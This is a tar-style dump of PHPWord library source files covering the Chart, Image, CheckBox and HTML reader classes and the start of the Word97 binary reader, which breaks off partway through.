            'CheckBox' => ['Section', 'Header', 'Footer', 'Cell', 'TextRun'],
            'TextBox' => ['Section', 'Header', 'Footer', 'Cell'],
            'Footnote' => ['Section', 'TextRun', 'Cell', 'ListItemRun'],
            'Endnote' => ['Section', 'TextRun', 'Cell'],
            'PreserveText' => ['Section', 'Header', 'Footer', 'Cell'],
            'Title' => ['Section', 'Cell'],
            'TOC' => ['Section'],
            'PageBreak' => ['Section'],
            'Chart' => ['Section', 'Cell'],
        ];

        // Special condition, e.g. preservetext can only exists in cell when
        // the cell is located in header or footer
        $validSubcontainers = [
            'PreserveText' => [['Cell'], ['Header', 'Footer', 'Section']],
            'Footnote' => [['Cell', 'TextRun'], ['Section']],
            'Endnote' => [['Cell', 'TextRun'], ['Section']],
        ];

        // Check if a method is valid for current container
        if (isset($validContainers[$method])) {
            if (!in_array($this->container, $validContainers[$method])) {
                throw new BadMethodCallException("Cannot add {$method} in {$this->container}.");
            }
        }

        // Check if a method is valid for current container, located in other container
        if (isset($validSubcontainers[$method])) {
            $rules = $validSubcontainers[$method];
            $containers = $rules[0];
            $allowedDocParts = $rules[1];
            foreach ($containers as $container) {
                if ($this->container == $container && !in_array($this->getDocPart(), $allowedDocParts)) {
                    throw new BadMethodCallException("Cannot add {$method} in {$this->container}.");
                }
            }
        }

        return true;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/Chart.php000066600000005413151150442730017015 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use PhpOffice\PhpWord\Style\Chart as ChartStyle;

/**
 * Chart element.
 *
 * @since 0.12.0
 */
class Chart extends AbstractElement
{
    /**
     * Is part of collection.
     *
     * @var bool
     */
    protected $collectionRelation = true;

    /**
     * Type.
     *
     * @var string
     */
    private $type = 'pie';

    /**
     * Series.
     *
     * @var array
     */
    private $series = [];

    /**
     * Chart style.
     *
     * @var ?\PhpOffice\PhpWord\Style\Chart
     */
    private $style;

    /**
     * Create new instance.
     *
     * @param string $type
     * @param array $categories
     * @param array $values
     * @param array $style
     * @param null|mixed $seriesName
     */
    public function __construct($type, $categories, $values, $style = null, $seriesName = null)
    {
        $this->setType($type);
        $this->addSeries($categories, $values, $seriesName);
        $this->style = $this->setNewStyle(new ChartStyle(), $style, true);
    }

    /**
     * Get type.
     *
     * @return string
     */
    public function getType()
    {
        return $this->type;
    }

    /**
     * Set type.
     *
     * @param string $value
     */
    public function setType($value): void
    {
        $enum = ['pie', 'doughnut', 'line', 'bar', 'stacked_bar', 'percent_stacked_bar', 'column', 'stacked_column', 'percent_stacked_column', 'area', 'radar', 'scatter'];
        $this->type = $this->setEnumVal($value, $enum, 'pie');
    }

    /**
     * Add series.
     *
     * @param array $categories
     * @param array $values
     * @param null|mixed $name
     */
    public function addSeries($categories, $values, $name = null): void
    {
        $this->series[] = [
            'categories' => $categories,
            'values' => $values,
            'name' => $name,
        ];
    }

    /**
     * Get series.
     *
     * @return array
     */
    public function getSeries()
    {
        return $this->series;
    }

    /**
     * Get chart style.
     *
     * @return ?\PhpOffice\PhpWord\Style\Chart
     */
    public function getStyle()
    {
        return $this->style;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/Image.php000066600000036034151150442730017001 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use PhpOffice\PhpWord\Exception\CreateTemporaryFileException;
use PhpOffice\PhpWord\Exception\InvalidImageException;
use PhpOffice\PhpWord\Exception\UnsupportedImageTypeException;
use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\Shared\ZipArchive;
use PhpOffice\PhpWord\Style\Image as ImageStyle;

/**
 * Image element.
 */
class Image extends AbstractElement
{
    /**
     * Image source type constants.
     */
    const SOURCE_LOCAL = 'local'; // Local images
    const SOURCE_GD = 'gd'; // Generated using GD
    const SOURCE_ARCHIVE = 'archive'; // Image in archives zip://$archive#$image
    const SOURCE_STRING = 'string'; // Image from string

    /**
     * Image source.
     *
     * @var string
     */
    private $source;

    /**
     * Source type: local|gd|archive.
     *
     * @var string
     */
    private $sourceType;

    /**
     * Image style.
     *
     * @var ?ImageStyle
     */
    private $style;

    /**
     * Is watermark.
     *
     * @var bool
     */
    private $watermark;

    /**
     * Name of image.
     *
     * @var string
     */
    private $name;

    /**
     * Image type.
     *
     * @var string
     */
    private $imageType;

    /**
     * Image create function.
     *
     * @var string
     */
    private $imageCreateFunc;

    /**
     * Image function.
     *
     * @var null|callable(resource): void
     */
    private $imageFunc;

    /**
     * Image extension.
     *
     * @var string
     */
    private $imageExtension;

    /**
     * Image quality.
     *
     * Functions imagepng() and imagejpeg() have an optional parameter for
     * quality.
     *
     * @var null|int
     */
    private $imageQuality;

    /**
     * Is memory image.
     *
     * @var bool
     */
    private $memoryImage;

    /**
     * Image target file name.
     *
     * @var string
     */
    private $target;

    /**
     * Image media index.
     *
     * @var int
     */
    private $mediaIndex;

    /**
     * Has media relation flag; true for Link, Image, and Object.
     *
     * @var bool
     */
    protected $mediaRelation = true;

    /**
     * Create new image element.
     *
     * @param string $source
     * @param mixed $style
     * @param bool $watermark
     * @param string $name
     */
    public function __construct($source, $style = null, $watermark = false, $name = null)
    {
        $this->source = $source;
        $this->style = $this->setNewStyle(new ImageStyle(), $style, true);
        $this->setIsWatermark($watermark);
        $this->setName($name);

        $this->checkImage();
    }

    /**
     * Get Image style.
     *
     * @return ?ImageStyle
     */
    public function getStyle()
    {
        return $this->style;
    }

    /**
     * Get image source.
     *
     * @return string
     */
    public function getSource()
    {
        return $this->source;
    }

    /**
     * Get image source type.
     *
     * @return string
     */
    public function getSourceType()
    {
        return $this->sourceType;
    }

    /**
     * Sets the image name.
     *
     * @param string $value
     */
    public function setName($value): void
    {
        $this->name = $value;
    }

    /**
     * Get image name.
     *
     * @return null|string
     */
    public function getName()
    {
        return $this->name;
    }

    /**
     * Get image media ID.
     *
     * @return string
     */
    public function getMediaId()
    {
        return md5($this->source);
    }

    /**
     * Get is watermark.
     *
     * @return bool
     */
    public function isWatermark()
    {
        return $this->watermark;
    }

    /**
     * Set is watermark.
     *
     * @param bool $value
     */
    public function setIsWatermark($value): void
    {
        $this->watermark = $value;
    }

    /**
     * Get image type.
     *
     * @return string
     */
    public function getImageType()
    {
        return $this->imageType;
    }

    /**
     * Get image create function.
     *
     * @return string
     */
    public function getImageCreateFunction()
    {
        return $this->imageCreateFunc;
    }

    /**
     * Get image function.
     *
     * @return null|callable(resource): void
     */
    public function getImageFunction(): ?callable
    {
        return $this->imageFunc;
    }

    /**
     * Get image quality.
     */
    public function getImageQuality(): ?int
    {
        return $this->imageQuality;
    }

    /**
     * Get image extension.
     *
     * @return string
     */
    public function getImageExtension()
    {
        return $this->imageExtension;
    }

    /**
     * Get is memory image.
     *
     * @return bool
     */
    public function isMemImage()
    {
        return $this->memoryImage;
    }

    /**
     * Get target file name.
     *
     * @return string
     */
    public function getTarget()
    {
        return $this->target;
    }

    /**
     * Set target file name.
     *
     * @param string $value
     */
    public function setTarget($value): void
    {
        $this->target = $value;
    }

    /**
     * Get media index.
     *
     * @return int
     */
    public function getMediaIndex()
    {
        return $this->mediaIndex;
    }

    /**
     * Set media index.
     *
     * @param int $value
     */
    public function setMediaIndex($value): void
    {
        $this->mediaIndex = $value;
    }

    /**
     * Get image string.
     */
    public function getImageString(): ?string
    {
        $source = $this->source;
        $actualSource = null;
        $imageBinary = null;
        $isTemp = false;

        // Get actual source from archive image or other source
        // Return null if not found
        if ($this->sourceType == self::SOURCE_ARCHIVE) {
            $source = substr($source, 6);
            [$zipFilename, $imageFilename] = explode('#', $source);

            $zip = new ZipArchive();
            if ($zip->open($zipFilename) !== false) {
                if ($zip->locateName($imageFilename) !== false) {
                    $isTemp = true;
                    $zip->extractTo(Settings::getTempDir(), $imageFilename);
                    $actualSource = Settings::getTempDir() . DIRECTORY_SEPARATOR . $imageFilename;
                }
            }
            $zip->close();
        } else {
            $actualSource = $source;
        }

        // Can't find any case where $actualSource = null hasn't captured by
        // preceding exceptions. Please uncomment when you find the case and
        // put the case into Element\ImageTest.
        // if ($actualSource === null) {
        //     return null;
        // }

        // Read image binary data and convert to hex/base64 string
        if ($this->sourceType == self::SOURCE_GD) {
            $imageResource = call_user_func($this->imageCreateFunc, $actualSource);
            if ($this->imageType === 'image/png') {
                // PNG images need to preserve alpha channel information
                imagesavealpha($imageResource, true);
            }
            ob_start();
            $callback = $this->imageFunc;
            $callback($imageResource);
            $imageBinary = ob_get_contents();
            ob_end_clean();
        } elseif ($this->sourceType == self::SOURCE_STRING) {
            $imageBinary = $this->source;
        } else {
            $fileHandle = fopen($actualSource, 'rb', false);
            $fileSize = filesize($actualSource);
            if ($fileHandle !== false && $fileSize > 0) {
                $imageBinary = fread($fileHandle, $fileSize);
                fclose($fileHandle);
            }
        }

        // Delete temporary file if necessary
        if ($isTemp === true) {
            @unlink($actualSource);
        }

        return $imageBinary;
    }

    /**
     * Get image string data.
     *
     * @param bool $base64
     *
     * @return null|string
     *
     * @since 0.11.0
     */
    public function getImageStringData($base64 = false)
    {
        $imageBinary = $this->getImageString();
        if ($imageBinary === null) {
            return null;
        }

        if ($base64) {
            return base64_encode($imageBinary);
        }

        return bin2hex($imageBinary);
    }

    /**
     * Check memory image, supported type, image functions, and proportional width/height.
     */
    private function checkImage(): void
    {
        $this->setSourceType();

        // Check image data
        if ($this->sourceType == self::SOURCE_ARCHIVE) {
            $imageData = $this->getArchiveImageSize($this->source);
        } elseif ($this->sourceType == self::SOURCE_STRING) {
            $imageData = @getimagesizefromstring($this->source);
        } else {
            $imageData = @getimagesize($this->source);
        }
        if (!is_array($imageData)) {
            throw new InvalidImageException(sprintf('Invalid image: %s', $this->source));
        }
        [$actualWidth, $actualHeight, $imageType] = $imageData;

        // Check image type support
        $supportedTypes = [IMAGETYPE_JPEG, IMAGETYPE_GIF, IMAGETYPE_PNG];
        if ($this->sourceType != self::SOURCE_GD && $this->sourceType != self::SOURCE_STRING) {
            $supportedTypes = array_merge($supportedTypes, [IMAGETYPE_BMP, IMAGETYPE_TIFF_II, IMAGETYPE_TIFF_MM]);
        }
        if (!in_array($imageType, $supportedTypes)) {
            throw new UnsupportedImageTypeException();
        }

        // Define image functions
        $this->imageType = image_type_to_mime_type($imageType);
        $this->setFunctions();
        $this->setProportionalSize($actualWidth, $actualHeight);
    }

    /**
     * Set source type.
     */
    private function setSourceType(): void
    {
        if (stripos(strrev($this->source), strrev('.php')) === 0) {
            $this->memoryImage = true;
            $this->sourceType = self::SOURCE_GD;
        } elseif (strpos($this->source, 'zip://') !== false) {
            $this->memoryImage = false;
            $this->sourceType = self::SOURCE_ARCHIVE;
        } elseif (filter_var($this->source, FILTER_VALIDATE_URL) !== false) {
            $this->memoryImage = true;
            if (strpos($this->source, 'https') === 0) {
                $fileContent = file_get_contents($this->source);
                $this->source = $fileContent;
                $this->sourceType = self::SOURCE_STRING;
            } else {
                $this->sourceType = self::SOURCE_GD;
            }
        } elseif ((strpos($this->source, chr(0)) === false) && @file_exists($this->source)) {
            $this->memoryImage = false;
            $this->sourceType = self::SOURCE_LOCAL;
        } else {
            $this->memoryImage = true;
            $this->sourceType = self::SOURCE_STRING;
        }
    }

    /**
     * Get image size from archive.
     *
     * @since 0.12.0 Throws CreateTemporaryFileException.
     *
     * @param string $source
     *
     * @return null|array
     */
    private function getArchiveImageSize($source)
    {
        $imageData = null;
        $source = substr($source, 6);
        [$zipFilename, $imageFilename] = explode('#', $source);

        $tempFilename = tempnam(Settings::getTempDir(), 'PHPWordImage');
        if (false === $tempFilename) {
            throw new CreateTemporaryFileException(); // @codeCoverageIgnore
        }

        $zip = new ZipArchive();
        if ($zip->open($zipFilename) !== false) {
            if ($zip->locateName($imageFilename) !== false) {
                $imageContent = $zip->getFromName($imageFilename);
                if ($imageContent !== false) {
                    file_put_contents($tempFilename, $imageContent);
                    $imageData = getimagesize($tempFilename);
                    unlink($tempFilename);
                }
            }
            $zip->close();
        }

        return $imageData;
    }

    /**
     * Set image functions and extensions.
     */
    private function setFunctions(): void
    {
        switch ($this->imageType) {
            case 'image/png':
                $this->imageCreateFunc = $this->sourceType == self::SOURCE_STRING ? 'imagecreatefromstring' : 'imagecreatefrompng';
                $this->imageFunc = function ($resource): void {
                    imagepng($resource, null, $this->imageQuality);
                };
                $this->imageExtension = 'png';
                $this->imageQuality = -1;

                break;
            case 'image/gif':
                $this->imageCreateFunc = $this->sourceType == self::SOURCE_STRING ? 'imagecreatefromstring' : 'imagecreatefromgif';
                $this->imageFunc = function ($resource): void {
                    imagegif($resource);
                };
                $this->imageExtension = 'gif';
                $this->imageQuality = null;

                break;
            case 'image/jpeg':
            case 'image/jpg':
                $this->imageCreateFunc = $this->sourceType == self::SOURCE_STRING ? 'imagecreatefromstring' : 'imagecreatefromjpeg';
                $this->imageFunc = function ($resource): void {
                    imagejpeg($resource, null, $this->imageQuality);
                };
                $this->imageExtension = 'jpg';
                $this->imageQuality = 100;

                break;
            case 'image/bmp':
            case 'image/x-ms-bmp':
                $this->imageType = 'image/bmp';
                $this->imageFunc = null;
                $this->imageExtension = 'bmp';
                $this->imageQuality = null;

                break;
            case 'image/tiff':
                $this->imageType = 'image/tiff';
                $this->imageFunc = null;
                $this->imageExtension = 'tif';
                $this->imageQuality = null;

                break;
        }
    }

    /**
     * Set proportional width/height if one dimension not available.
     *
     * @param int $actualWidth
     * @param int $actualHeight
     */
    private function setProportionalSize($actualWidth, $actualHeight): void
    {
        $styleWidth = $this->style->getWidth();
        $styleHeight = $this->style->getHeight();
        if (!($styleWidth && $styleHeight)) {
            if ($styleWidth == null && $styleHeight == null) {
                $this->style->setWidth($actualWidth);
                $this->style->setHeight($actualHeight);
            } elseif ($styleWidth) {
                $this->style->setHeight($actualHeight * ($styleWidth / $actualWidth));
            } else {
                $this->style->setWidth($actualWidth * ($styleHeight / $actualHeight));
            }
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/CheckBox.php000066600000003140151150442730017435 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use PhpOffice\PhpWord\Shared\Text as SharedText;

/**
 * Check box element.
 *
 * @since 0.10.0
 */
class CheckBox extends Text
{
    /**
     * Name content.
     *
     * @var string
     */
    private $name;

    /**
     * Create new instance.
     *
     * @param string $name
     * @param string $text
     * @param mixed $fontStyle
     * @param mixed $paragraphStyle
     */
    public function __construct($name = null, $text = null, $fontStyle = null, $paragraphStyle = null)
    {
        $this->setName($name);
        parent::__construct($text, $fontStyle, $paragraphStyle);
    }

    /**
     * Set name content.
     *
     * @param string $name
     *
     * @return self
     */
    public function setName($name)
    {
        $this->name = SharedText::toUTF8($name);

        return $this;
    }

    /**
     * Get name content.
     *
     * @return string
     */
    public function getName()
    {
        return $this->name;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Reader/HTML.php000066600000002537151150442730016335 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Reader;

use Exception;
use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Shared\Html as HTMLParser;

/**
 * HTML Reader class.
 *
 * @since 0.11.0
 */
class HTML extends AbstractReader implements ReaderInterface
{
    /**
     * Loads PhpWord from file.
     *
     * @param string $docFile
     *
     * @return \PhpOffice\PhpWord\PhpWord
     */
    public function load($docFile)
    {
        $phpWord = new PhpWord();

        if ($this->canRead($docFile)) {
            $section = $phpWord->addSection();
            HTMLParser::addHtml($section, file_get_contents($docFile), true);
        } else {
            throw new Exception("Cannot read {$docFile}.");
        }

        return $phpWord;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Reader/MsDoc.php000066600000307566151150442730016610 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Reader;

use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Shared\Drawing;
use PhpOffice\PhpWord\Shared\OLERead;
use PhpOffice\PhpWord\Style;
use stdClass;

/**
 * Reader for Word97.
 *
 * @since 0.10.0
 */
class MsDoc extends AbstractReader implements ReaderInterface
{
    /**
     * PhpWord object.
     *
     * @var PhpWord
     */
    private $phpWord;

    /**
     * WordDocument Stream.
     */
    private $dataWorkDocument;

    /**
     * 1Table Stream.
     */
    private $data1Table;

    /**
     * Data Stream.
     */
    private $dataData;

    /**
     * Object Pool Stream.
     */
    private $dataObjectPool;

    /**
     * @var stdClass[]
     */
    private $arrayCharacters = [];

    /**
     * @var array
     */
    private $arrayFib = [];

    /**
     * @var string[]
     */
    private $arrayFonts = [];

    /**
     * @var string[]
     */
    private $arrayParagraphs = [];

    /**
     * @var stdClass[]
     */
    private $arraySections = [];

    /** @var string */
    private $summaryInformation;

    /** @var string */
    private $documentSummaryInformation;

    const VERSION_97 = '97';
    const VERSION_2000 = '2000';
    const VERSION_2002 = '2002';
    const VERSION_2003 = '2003';
    const VERSION_2007 = '2007';

    const SPRA_VALUE = 10;
    const SPRA_VALUE_OPPOSITE = 20;

    const OFFICEARTBLIPEMF = 0xF01A;
    const OFFICEARTBLIPWMF = 0xF01B;
    const OFFICEARTBLIPPICT = 0xF01C;
    const OFFICEARTBLIPJPG = 0xF01D;
    const OFFICEARTBLIPPNG = 0xF01E;
    const OFFICEARTBLIPDIB = 0xF01F;
    const OFFICEARTBLIPTIFF = 0xF029;
    const OFFICEARTBLIPJPEG = 0xF02A;

    const MSOBLIPERROR = 0x00;
    const MSOBLIPUNKNOWN = 0x01;
    const MSOBLIPEMF = 0x02;
    const MSOBLIPWMF = 0x03;
    const MSOBLIPPICT = 0x04;
    const MSOBLIPJPEG = 0x05;
    const MSOBLIPPNG = 0x06;
    const MSOBLIPDIB = 0x07;
    const MSOBLIPTIFF = 0x11;
    const MSOBLIPCMYKJPEG = 0x12;

    /**
     * Loads PhpWord from file.
     *
     * @param string $filename
     *
     * @return PhpWord
     */
    public function load($filename)
    {
        $this->phpWord = new PhpWord();

        $this->loadOLE($filename);

        $this->readFib($this->dataWorkDocument);
        $this->readFibContent();

        return $this->phpWord;
    }

    /**
     * Load an OLE Document.
     *
     * @param string $filename
     */
    private function loadOLE($filename): void
    {
        // OLE reader
        $ole = new OLERead();
        $ole->read($filename);

        // Get WorkDocument stream
        $this->dataWorkDocument = $ole->getStream($ole->wrkdocument);
        // Get 1Table stream
        $this->data1Table = $ole->getStream($ole->wrk1Table);
        // Get Data stream
        $this->dataData = $ole->getStream($ole->wrkData);
        // Get Data stream
        $this->dataObjectPool = $ole->getStream($ole->wrkObjectPool);
        // Get Summary Information data
        $this->summaryInformation = $ole->getStream($ole->summaryInformation);
        // Get Document Summary Information data
        $this->documentSummaryInformation = $ole->getStream($ole->docSummaryInfos);
    }

    private function getNumInLcb($lcb, $iSize)
    {
        return ($lcb - 4) / (4 + $iSize);
    }

    private function getArrayCP($data, $posMem, $iNum)
    {
        $arrayCP = [];
        for ($inc = 0; $inc < $iNum; ++$inc) {
            $arrayCP[$inc] = self::getInt4d($data, $posMem);
            $posMem += 4;
        }

        return $arrayCP;
    }

    /**
     * @see  http://msdn.microsoft.com/en-us/library/dd949344%28v=office.12%29.aspx
     * @see  https://igor.io/2012/09/24/binary-parsing.html
     *
     * @param string $data
     */
    private function readFib($data)
    {
        $pos = 0;
        //----- FibBase
        // wIdent
        $pos += 2;
        // nFib
        $pos += 2;
        // unused
        $pos += 2;
        // lid : Language Identifier
        $pos += 2;
        // pnNext
        $pos += 2;

        // $mem = self::getInt2d($data, $pos);
        // $fDot = ($mem >> 15) & 1;
        // $fGlsy = ($mem >> 14) & 1;
        // $fComplex = ($mem >> 13) & 1;
        // $fHasPic = ($mem >> 12) & 1;
        // $cQuickSaves = ($mem >> 8) & bindec('1111');
        // $fEncrypted = ($mem >> 7) & 1;
        // $fWhichTblStm = ($mem >> 6) & 1;
        // $fReadOnlyRecommended = ($mem >> 5) & 1;
        // $fWriteReservation = ($mem >> 4) & 1;
        // $fExtChar = ($mem >> 3) & 1;
        // $fLoadOverride = ($mem >> 2) & 1;
        // $fFarEast = ($mem >> 1) & 1;
        // $fObfuscated = ($mem >> 0) & 1;
        $pos += 2;
        // nFibBack
        $pos += 2;
        // lKey
        $pos += 4;
        // envr
        ++$pos;

        // $mem = self::getInt1d($data, $pos);
        // $fMac = ($mem >> 7) & 1;
        // $fEmptySpecial = ($mem >> 6) & 1;
        // $fLoadOverridePage = ($mem >> 5) & 1;
        // $reserved1 = ($mem >> 4) & 1;
        // $reserved2 = ($mem >> 3) & 1;
        // $fSpare0 = ($mem >> 0) & bindec('111');
        ++$pos;

        // reserved3
        $pos += 2;
        // reserved4
        $pos += 2;
        // reserved5
        $pos += 4;
        // reserved6
        $pos += 4;

        //----- csw
        $pos += 2;

        //----- fibRgW
        // reserved1
        $pos += 2;
        // reserved2
        $pos += 2;
        // reserved3
        $pos += 2;
        // reserved4
        $pos += 2;
        // reserved5
        $pos += 2;
        // reserved6
        $pos += 2;
        // reserved7
        $pos += 2;
        // reserved8
        $pos += 2;
        // reserved9
        $pos += 2;
        // reserved10
        $pos += 2;
        // reserved11
        $pos += 2;
        // reserved12
        $pos += 2;
        // reserved13
        $pos += 2;
        // lidFE
        $pos += 2;

        //----- cslw
        $pos += 2;

        //----- fibRgLw
        // cbMac
        $pos += 4;
        // reserved1
        $pos += 4;
        // reserved2
        $pos += 4;
        $this->arrayFib['ccpText'] = self::getInt4d($data, $pos);
        $pos += 4;
        $this->arrayFib['ccpFtn'] = self::getInt4d($data, $pos);
        $pos += 4;
        $this->arrayFib['ccpHdd'] = self::getInt4d($data, $pos);
        $pos += 4;
        // reserved3
        $pos += 4;
        // ccpAtn
        $pos += 4;
        // ccpEdn
        $pos += 4;
        // ccpTxbx
        $pos += 4;
        // ccpHdrTxbx
        $pos += 4;
        // reserved4
        $pos += 4;
        // reserved5
        $pos += 4;
        // reserved6
        $pos += 4;
        // reserved7
        $pos += 4;
        // reserved8
        $pos += 4;
        // reserved9
        $pos += 4;
        // reserved10
        $pos += 4;
        // reserved11
        $pos += 4;
        // reserved12
        $pos += 4;
        // reserved13
        $pos += 4;
        // reserved14
        $pos += 4;

        //----- cbRgFcLcb
        $cbRgFcLcb = self::getInt2d($data, $pos);
        $pos += 2;
        //----- fibRgFcLcbBlob
        switch ($cbRgFcLcb) {
            case 0x005D:
                $pos = $this->readBlockFibRgFcLcb($data, $pos, self::VERSION_97);

                break;
            case 0x006C:
                $pos = $this->readBlockFibRgFcLcb($data, $pos, self::VERSION_97);
                $pos = $this->readBlockFibRgFcLcb($data, $pos, self::VERSION_2000);

                break;
            case 0x0088:
                $pos = $this->readBlockFibRgFcLcb($data, $pos, self::VERSION_97);
                $pos = $this->readBlockFibRgFcLcb($data, $pos, self::VERSION_2000);
                $pos = $this->readBlockFibRgFcLcb($data, $pos, self::VERSION_2002);

                break;
            case 0x00A4:
                $pos = $this->readBlockFibRgFcLcb($data, $pos, self::VERSION_97);
                $pos = $this->readBlockFibRgFcLcb($data, $pos, self::VERSION_2000);
                $pos = $this->readBlockFibRgFcLcb($data, $pos, self::VERSION_2002);
                $pos = $this->readBlockFibRgFcLcb($data, $pos, self::VERSION_2003);

                break;
            case 0x00B7:
                $pos = $this->readBlockFibRgFcLcb($data, $pos, self::VERSION_97);
                $pos = $this->readBlockFibRgFcLcb($data, $pos, self::VERSION_2000);
                $pos = $this->readBlockFibRgFcLcb($data, $pos, self::VERSION_2002);
                $pos = $this->readBlockFibRgFcLcb($data, $pos, self::VERSION_2003);
                $pos = $this->readBlockFibRgFcLcb($data, $pos, self::VERSION_2007);

                break;
        }
        //----- cswNew
        $this->arrayFib['cswNew'] = self::getInt2d($data, $pos);
        $pos += 2;

        if ($this->arrayFib['cswNew'] != 0) {
            //@todo : fibRgCswNew
        }

        return $pos;
    }

    private function readBlockFibRgFcLcb($data, $pos, $version)
    {
        if ($version == self::VERSION_97) {
            $this->arrayFib['fcStshfOrig'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbStshfOrig'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcStshf'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbStshf'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcffndRef'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcffndRef'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcffndTxt'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcffndTxt'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfandRef'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfandRef'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfandTxt'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfandTxt '] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfSed'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfSed'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcPad'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcPad'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfPhe'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfPhe'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbfGlsy'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbfGlsy'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfGlsy'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfGlsy'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfHdd'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfHdd'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfBteChpx'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfBteChpx'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfBtePapx'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfBtePapx'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfSea'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfSea'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbfFfn'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbfFfn'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfFldMom'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfFldMom'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfFldHdr'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfFldHdr'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfFldFtn'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfFldFtn'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfFldAtn'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfFldAtn'] = self::getInt4d($data, $pos);
            $pos += 4;
